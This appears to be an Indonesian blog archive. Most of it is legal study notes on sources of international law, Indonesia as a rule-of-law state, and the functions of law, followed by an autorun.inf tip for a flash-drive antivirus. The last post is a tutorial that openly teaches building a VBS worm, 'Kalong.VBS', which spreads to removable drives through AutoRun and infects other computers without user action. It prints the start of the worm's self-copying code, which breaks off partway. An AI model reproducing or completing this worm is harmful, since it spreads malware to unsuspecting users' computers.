Rabu, 19 Juni 2013

Sumber Hukum Internasional

Sumber Hukum Internasional
1.        Perjanjian Internasional atau Traktat
Perjanjian internasional adalah persetujuan antarsubjek hukum internasional, terutama negara yang diatur dengan hukum internasional. Dengan demikian perjanjian internasional juga dapat didefi nisikan sebagai konsensus internasional yang diekspresikan melalui instrumen-instrumen berupa perjanjian tertulis maupun tidak tertulis.
a.       Perjanjian internasional tertulis adalah setiap perjanjian internasional yang dituangkan dalam bentuk tertulis. Contohnya antara lain: konvensi, protokol, persetujuan, penetapan, statuta, dan deklarasi yaitu Konvensi Wina tentang Hukum Perjanjian tahun 1969.
b.      Perjanjian tidak tertulis diartikan sebagai setiap perjanjian internasional yang tidak tertulis dan berupa ucapan lisan, tindakan tertentu dari negara atau subjek hukum internasional lainnya. Contoh: The London Agreement 1946 yang mengatur distribusi keanggotaan Dewan Keamanan (DK) PBB.
2.        Kebiasaan Internasional
Hukum kebiasaan internasional yaitu kebiasaan internasional yang telah diakui mempunyai kekuatan hukum. Hukum kebiasaan internasional merupakan praktik umum negara yang sudah diterima sebagai hukum. Contoh: Kebiasaan untuk memberikan sambutan kehormatan waktu kedatangan tamu resmi dari negara lain dengan tembakan meriam.
3.        Keputusan Pengadilan
Keputusan pengadilan yang bisa dijadikan sebagai sumber hukum internasional adalah setiap keputusan yang dikeluarkan oleh badan/organisasi pengadilan internasional yang mengatur/memutus perselisihan atau persengketaan yang diajukan ke hadapannya. Artinya keputusan badan peradilan internasional yang bersifat mengadililah yang bisa dijadikan sebagai sumber hukum. Contohnya: Putusan pengadilan AS tentang sengketa perbatasan antar negara bagian dapat dipakai untuk membantu memutus sengketa perbatasan antar negara.
4.        Doktrin atau Pendapat para Sarjana
Doktrin adalah ajaran-ajaran para sarjana atau ahli hukum yang dianggap sebagai sumber hukum. Doktrin berisi tentang teori-teori hukum dan peraturan-peraturan hukum sebagai hukum yang seharusnya menurut pendapat masing-masing sarjana atau ahli tersebut. Contoh: Dalam kasus Lotus (1927), Permanent Court of International Justice (PCIJ) menggunakan dasar ajaran ahli hukum internasional untuk membantu memutus perkara.
5.        Keputusan-keputusan atau Resolusi-resolusi Organisasi Internasional
Setiap bentuk keputusan-keputusan yang diambil organisasi internasional yang mempunyai kekuatan mengikat para anggotanya dapat dijadikan sebagai sumber hukum internasional. Contoh: Konferensi Tingkat Tinggi (KTT) ASEAN yang ke-11 tentang perjanjian perdagangan jasa demi kerja sama ekonomi yang komprehensif dengan Korea Selatan, memorandum of understanding (MoU) pendirian ASEAN-Korea Center.

Contoh-contoh Penerapan Hukum Internasional
1.        Perjanjian Internasional Tertulis: Dalam Konperensi Wina tahun 1969 telah berhasil disepakati sebuah naskah perjanjian yang lebih dikenal dengan nama “Viena Convention on the Law of Treaties” Konperensi Wina ini diadakan atas prakarsa Perserikatan Bangsa-bangsa. Perjanjia ini merupakan pengembangan secara progresif hukum internasional tentang perjanjian. Penerapan dari perjanjian ini telah diterapkan oleh negara-negara yang dalam melakukan perjanjian.
2.        Kebiasaan Internasional: Setiap negara mempunyai kebiasaan untuk harus memberikan sambutan kehormatan ketika kedatangan tamu resmi dari negara lain untuk menghormati kunjungan dan kedatangan negara lain tersebut.
3.        Keputusan Pengadilan: Pada putusan pengadilan AS tentang sengketa perbatasan antar negara bagian menjadi pedoman atau dasar-dasar cara penerapannya dapat dipakai untuk membantu memutus sengketa perbatasan antar negara.
4.        Doktrin: Dalam kasus Lotus (1927), Permanent Court of International Justice (PCIJ) menggunakan dasar ajaran ahli hukum internasional untuk membantu memutus perkara dan pendapat itu diterapkan dalam kasus tersebut.

5.        Keputusan Organisasi Internasional: Dalam Konferensi Tingkat Tinggi (KTT) ASEAN yang ke-11 yang membahas tentang perjanjian perdagangan jasa demi kerja sama ekonomi yang komprehensif dengan Korea Selatan, memorandum of understanding (MoU) pendirian ASEAN-Korea Center. Penerapannya adalah negara-negara anggota ASEAN lebih komprehensif dalam melakukan perdagangan dengan Korea Selatan yang berdasarkan pada MoU tentang pendirian ASEAN-Korea Center yang mengikat negara-negara anggota ASEAN dan Korea.

Kamis, 26 Juli 2012

Analisa Terhadap Wajah hukum di Indonesia | Artikel Hukum

Oleh : Dwi Nofi Andhiyantama | Facebook
Mahasiswa Fakultas Hukum Universitas
Widyagama Malang, Angkatan 2008
Tulisan dimuat dalam Tabloid PILAR Edisi 2009

(Artikel Hukum) Berdasarkan dari Pasal 1 ayat 3 UUD 1945 negara Indonesia menyatakan diri sebagai negara hukum (recht staat) yang mana kerap kali diperlawankan dengan konsep negara kekuasaan (macht staat). Hal ini diperkuat lagi dalam pembukaan UUD 1945, yang menurut Latief Fariqun betujuan untuk “melindungi segenap bangsa Indonesia dan seluruh tumpah darah Indonesia, memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa dan ikut melaksanakan ketertiban dunia berdasarkan kemerdekaan, perdamaian abadi dan keadilan sosial yang berdasarkan ketuhanan Yang Maha Esa, kemanusiaan yang adil dan beradab, persatuan Indonesia, kerakyatan yang dipimpin oleh hikmat kebijaksanaan dalam permusyawaratan/perwakilan serta keadilan sosial bagi seluruh rakyat Indonesia”. Maka setelah meninjau tujuan tersebut, maka indonesia ialah negara hukum dengan tipe negara hukum modern/negara kesejahteraan/Welfare State.
Adapun menurut Fatkhurohman dan Siradjudin dalam reading materialnya mengenal hukum administrasi negara, mengungkapkan bahwa yang dimaksud dengan Welfare State ialah negara yang tugasnya tidak hanya menjaga keamanan dan ketertiban, tetapi mewujudkan pula kesejahteraan bagi seluruh rakyatnya. Yang kemudian hal ini diperkuat lagi oleh pendapat Anwar C. bahwa pemerintah harus bertanggung jawab atas kesejahteraan rakyatnya.
Menurut Jimly Asshiddiqie ada 12 prinsip pokok yang harus dimiliki oleh suatu negara sebagai pilar berdirinya suatu negara hukum yaitu :
1.    Supremasi hukum
2.    Persamaan dalam hukum
3.    Asas legalitas
4.    Pembatasaan kekuasaan
5.    Organ-organ eksekutif independen
6.    Peradilan bebas dan tidak memihak
7.    Peradilan Tata Usaha Negara
8.    Peradilan Tata Negara
9.    Perlindungan Hak Asasi Manusia
10.    Bersifat Demokrasi
11.    Berfungsi sebagai sarana mewujudkan tujuan bernegara
12.    Transparasi dan kontrol sosial

Tujuan Hukum | Artikel Hukum

(Artikel Hukum) Tujuan hukum yang bersifat universal adalah ketertiban, ketenteraman, kedamaian, kesejahteraan dan kebahagiaan dalam tata kehidupan bermasyarakat.
1. Dalam perkembangan masyarakat fungsi hukum terdiri dari :
a. Sebagai alat pengatur tata tertib hubungan masyarakat
b. Sebagai sarana untuk mewujudkan keadilan sosial lahir dan batin
c. Sebagai sarana penggerak pembangunan
d. Sebagai fungsi kritis

2. Fungsi-fungsi hukum tersebut dapat diuraikan sbb :
a. Sebagai alat pengatur tata tertib hubungan masyarakat
Hukum sebagai norma merupakan petunjuk untuk kehidupan. Manusia dalam masyarakat, hukum menunjukkan mana yang baik dan mana yang buruk, hukum juga memberi petunjuk, sehingga segala sesuatunya berjalan tertib dan teratur. Begitu pula hukum dapat memaksa agar hukum itu ditaati anggota masyarakat.
b. Sebagai sarana untuk mewujudkan keadilan social lahir batin
- Hukum mempunyai cirri memerintah dan melarang
- Hukum mempunyai sifat memaksa
- Hukum mempunyai daya yang mengikat fisik dan Psikologis
Kaena hukum mempunyai cirri, sifat dan daya mengikat, maka hukum dapat memberi keadilan ialah dapat menentukan siapa yang bersalah dan siapa yang benar.
c. Sebagai penggerak pembangunan
Daya mengikat dan memaksa dari hukum dapat digunakan atau di daya gunakan untuk menggeraakkan pembangunan. Disini hukum dijadikanalat untuk membawa masyarakat kea rah yang lebih maju.
d. Fungsi kritis hukum
Dr. Soedjono Dirdjosisworo, S.H dalam bukunya pengantar ilmu hukum, hal 155 mengatakan :
“Dewasa ini sedang berkembang suatu pandangan bahwa hukum mempunyai fungsi kritis, yaitu daya kerja hukum tidak semata-mata melakukan pengawasan pada aparatur pemerintah (petugas) saja melainkan aparatur penegak hukum termasuk didalamnya”.

Fungsi Hukum | Artikel Hukum

(Artikel Hukum) Seperti diketahui bahwa di dalam setiap masyarakat senantiasa terdapat berbagai kepentingan dari warganya. Di antara kepentingan itu ada yang bisa selaras dengan kepentingan yang lain, tetapi ada juga kepentingan yang memicu konflik dengan kepentingan yang lain. Untuk keperluan tersebut, hukum harus difungsikan menurut fungsi-fungsi tertentu untuk mencapai tujuannya. Dengan kata lain, fungsi hukum adalah menertibkan dan mengatur pergaulan dalam masyarakat serta menyelesaikan konflik yang terjadi.
Fungsi hukum menurut Franz Magnis Suseno, adalah untuk mengatasi konflik kepentingan. Dengan adanya hukum, konflik itu tidak lagi dipecahkan menurut siapa yang paling kuat, melainkan berdasarkan aturan yang berorientasi pada kepentingan-kepentingan dan nilai-nilai objektif dengan tidak membedakan antara yang kuat dan yang lemah, dan orientasi itu disebut keadilan.
Dalam pandangan Achmad Ali, bahwa fungsi hukum itu dapat dibedakan ke dalam :
a. fungsi hukum sebagai “a tool of social control”,
b. fungsi hukum sebagai “a tool of social engineering”,
c. fungsi hukum sebagai simbol,
d. fungsi hukum sebagai “a political instrument”,
e. fungsi hukum sebagai integrator.

Senin, 10 Agustus 2009

Cara Membuat AntiVirus Dengan NotePad

Cara buat antivirus di fd (flashdisk) sbb :
pertama-tama buatlah AUTORUN untuk menjalangkan antivirus pada fd (flashdisk) !, carax copy
antivirus yg berukurang kecil ke fd (flashdisk) kita, sembarang maunya antivirus apa
contonya PCMAV,ANSAV….dll (dicontoh kali ini saya menggunakan PCMAV karna ukurangx kecil
bangat ngak sampe 3 MB). oke deh…kita buat scrip dulu untuk autorun di fd kita….
tinggal ketik or copy aja di notepad
============potong disini============
[AUTORUN]
open=nama antivirus.exe
shellexecute=nama antivirus.exe
shell\scan_viruz_dulu_donkz:-)_!!!\command=nama antivirus.exe
shell=scan_viruz_dulu_donkz:-)_!!!
============potong disini============
kalo udah kita save dengan nama “autorun.inf” (ngak pake tanda kutip) di fd kita
sekarang kita copy aja antivirusnya ke fd..!!!
(ingat kalo ngopy file autorun dan antivirusnya bukan di dalam folder, ingat yah…!!!).
Jadi deh..^_^ kalo mau scan virus tinggal double click aja tuh drive fd-nya *=*
terus kalo kita klik kanan drive fd-nya BUKANKAH ADA TAMBAHAN KATA DI ATAS KATA AUTOPLAY.
kalo mau diubah ganti aja kata dalam scrip

Membuat Viruz Dengan NotePad

Iseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.
Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do